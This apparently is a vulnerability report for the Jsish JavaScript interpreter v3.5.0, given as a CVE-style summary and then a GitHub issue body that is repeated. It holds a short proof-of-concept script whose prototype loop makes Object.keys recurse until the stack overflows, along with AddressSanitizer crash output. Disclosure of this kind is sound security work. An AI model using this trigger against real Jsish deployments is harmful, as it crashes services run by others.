Jsish v3.5.0 (commit 42c694c) was discovered to contain a stack-overflow via the component IterGetKeysCallback at /jsish/src/jsiValue.c.
cpe:2.3:a:jsish:jsish:3.5.0:*:*:*:*:*:*:*
E97897F2-55BD-40DD-9F33-7980D892A505
OR
###### Jsish revision
Commit: https://github.com/pcmacdon/jsish/commit/42c694c152f7f4fbee34d5e14be37d6e0d09673f
Version: v3.5.0

###### Build platform
Ubuntu 20.04.5 LTS (Linux 5.4.0-144-generic x86_64)

###### Build steps
```sh
export JSI__SANITIZE=1
make
```

###### Test case
<details><summary>testcase</summary>
<p>

```javascript
var a = { length : 3 } ; 
a. length = 10 ; 
a. foo = [ ] ; 
a [ 0 ] = " bar " ; 
[ " bar " ] ;
a [ 3 ] = null ; 
Object. setPrototypeOf ( Object. getPrototypeOf ( a ), Array. prototype ) ; 
Object. setPrototypeOf ( a, String. prototype ) ; 
var r ; 
Object. keys ( a ) ; 
var t = Object. keys ( a ). length ; 
var l = 1 ; 
r = " vieraıra " + l + " straır ". substring ( - 50 ) ; 
r [ 2 ] = r [ 2 ] ( 0, 15 ) ; 
r [ 2 ] = r [ 2 ] ; 
r [ 0 ] = r [ 0 ] + 1 ; 
String ( r [ 3 ] ) && r [ 0 ] > l ; 
l = null ; 
l = l == null ; 
l = l || Boolean ( " " ) ; 
l ;
```
</p>
</details>

```javascript
// poc.js
var a = { } ;
Object. setPrototypeOf ( Object. getPrototypeOf ( a ), Array. prototype ) ;
Object. keys ( a ) ;
```

###### Execution steps & Output
```
$ ./jsish/jsish poc.js
AddressSanitizer:DEADLYSIGNAL
=================================================================
==2355298==ERROR: AddressSanitizer: stack-overflow on address 0x7ffd839b9ff8 (pc 0x000000506531 bp 0x000000000000 sp 0x7ffd839ba000 T0)
    #0 0x506531 in IterGetKeysCallback ./jsish/src/jsiValue.c:1451
    #1 0x617d46 in tree_inorder ./jsish/src/jsiTree.c:836:9
    #2 0x617cbf in tree_inorder ./jsish/src/jsiTree.c:833:13
    #3 0x617e1e in tree_inorder ./jsish/src/jsiTree.c:840:13
    #4 0x617cbf in tree_inorder ./jsish/src/jsiTree.c:833:13
    #5 0x617e1e in tree_inorder ./jsish/src/jsiTree.c:840:13
    #6 0x617e1e in tree_inorder ./jsish/src/jsiTree.c:840:13
    #7 0x617e1e in tree_inorder ./jsish/src/jsiTree.c:840:13
    #8 0x61710f in Jsi_TreeWalk ./jsish/src/jsiTree.c:914:16
    #9 0x4ff066 in Jsi_IterGetKeys ./jsish/src/jsiValue.c:1496:5
    #10 0x4ff0e4 in Jsi_IterGetKeys ./jsish/src/jsiValue.c:1498:9
    #11 0x4ff0e4 in Jsi_IterGetKeys ./jsish/src/jsiValue.c:1498:9
    #12 0x4ff0e4 in Jsi_IterGetKeys ./jsish/src/jsiValue.c:1498:9
    #13 0x4ff0e4 in Jsi_IterGetKeys ./jsish/src/jsiValue.c:1498:9
    ....
    #244 0x4ff0e4 in Jsi_IterGetKeys ./jsish/src/jsiValue.c:1498:9
    #245 0x4ff0e4 in Jsi_IterGetKeys ./jsish/src/jsiValue.c:1498:9
    #246 0x4ff0e4 in Jsi_IterGetKeys ./jsish/src/jsiValue.c:1498:9
    #247 0x4ff0e4 in Jsi_IterGetKeys ./jsish/src/jsiValue.c:1498:9
    #248 0x4ff0e4 in Jsi_IterGetKeys ./jsish/src/jsiValue.c:1498:9

SUMMARY: AddressSanitizer: stack-overflow ./jsish/src/jsiValue.c:1451 in IterGetKeysCallback
==2355298==ABORTING
```

---
when executed in release mode

###### Outputs
```
Segmentation fault
```


Credits: @Ye0nny, @EJueon of the seclab-yonsei.
stack-overflow ./jsish/src/jsiValue.c:1451 in IterGetKeysCallback
This is a GitHub Issue
repo:jsish
owner:pcmacdon
Title : stack-overflow ./jsish/src/jsiValue.c:1451 in IterGetKeysCallback
Issue date:

--- start body ---
###### Jsish revision
Commit: https://github.com/pcmacdon/jsish/commit/42c694c152f7f4fbee34d5e14be37d6e0d09673f
Version: v3.5.0

###### Build platform
Ubuntu 20.04.5 LTS (Linux 5.4.0-144-generic x86_64)

###### Build steps
```sh
export JSI__SANITIZE=1
make
```

###### Test case
<details><summary>testcase</summary>
<p>

```javascript
var a = { length : 3 } ; 
a. length = 10 ; 
a. foo = [ ] ; 
a [ 0 ] = " bar " ; 
[ " bar " ] ;
a [ 3 ] = null ; 
Object. setPrototypeOf ( Object. getPrototypeOf ( a ), Array. prototype ) ; 
Object. setPrototypeOf ( a, String. prototype ) ; 
var r ; 
Object. keys ( a ) ; 
var t = Object. keys ( a ). length ; 
var l = 1 ; 
r = " vieraıra " + l + " straır ". substring ( - 50 ) ; 
r [ 2 ] = r [ 2 ] ( 0, 15 ) ; 
r [ 2 ] = r [ 2 ] ; 
r [ 0 ] = r [ 0 ] + 1 ; 
String ( r [ 3 ] ) && r [ 0 ] > l ; 
l = null ; 
l = l == null ; 
l = l || Boolean ( " " ) ; 
l ;
```
</p>
</details>

```javascript
// poc.js
var a = { } ;
Object. setPrototypeOf ( Object. getPrototypeOf ( a ), Array. prototype ) ;
Object. keys ( a ) ;
```

###### Execution steps & Output
```
$ ./jsish/jsish poc.js
AddressSanitizer:DEADLYSIGNAL
=================================================================
==2355298==ERROR: AddressSanitizer: stack-overflow on address 0x7ffd839b9ff8 (pc 0x000000506531 bp 0x000000000000 sp 0x7ffd839ba000 T0)
    #0 0x506531 in IterGetKeysCallback ./jsish/src/jsiValue.c:1451
    #1 0x617d46 in tree_inorder ./jsish/src/jsiTree.c:836:9
    #2 0x617cbf in tree_inorder ./jsish/src/jsiTree.c:833:13
    #3 0x617e1e in tree_inorder ./jsish/src/jsiTree.c:840:13
    #4 0x617cbf in tree_inorder ./jsish/src/jsiTree.c:833:13
    #5 0x617e1e in tree_inorder ./jsish/src/jsiTree.c:840:13
    #6 0x617e1e in tree_inorder ./jsish/src/jsiTree.c:840:13
    #7 0x617e1e in tree_inorder ./jsish/src/jsiTree.c:840:13
    #8 0x61710f in Jsi_TreeWalk ./jsish/src/jsiTree.c:914:16
    #9 0x4ff066 in Jsi_IterGetKeys ./jsish/src/jsiValue.c:1496:5
    #10 0x4ff0e4 in Jsi_IterGetKeys ./jsish/src/jsiValue.c:1498:9
    #11 0x4ff0e4 in Jsi_IterGetKeys ./jsish/src/jsiValue.c:1498:9
    #12 0x4ff0e4 in Jsi_IterGetKeys ./jsish/src/jsiValue.c:1498:9
    #13 0x4ff0e4 in Jsi_IterGetKeys ./jsish/src/jsiValue.c:1498:9
    ....
    #244 0x4ff0e4 in Jsi_IterGetKeys ./jsish/src/jsiValue.c:1498:9
    #245 0x4ff0e4 in Jsi_IterGetKeys ./jsish/src/jsiValue.c:1498:9
    #246 0x4ff0e4 in Jsi_IterGetKeys ./jsish/src/jsiValue.c:1498:9
    #247 0x4ff0e4 in Jsi_IterGetKeys ./jsish/src/jsiValue.c:1498:9
    #248 0x4ff0e4 in Jsi_IterGetKeys ./jsish/src/jsiValue.c:1498:9

SUMMARY: AddressSanitizer: stack-overflow ./jsish/src/jsiValue.c:1451 in IterGetKeysCallback
==2355298==ABORTING
```

---
when executed in release mode

###### Outputs
```
Segmentation fault
```


Credits: @Ye0nny, @EJueon of the seclab-yonsei.
--- end body ---

comments :
--- start comments ---

--- end comments ---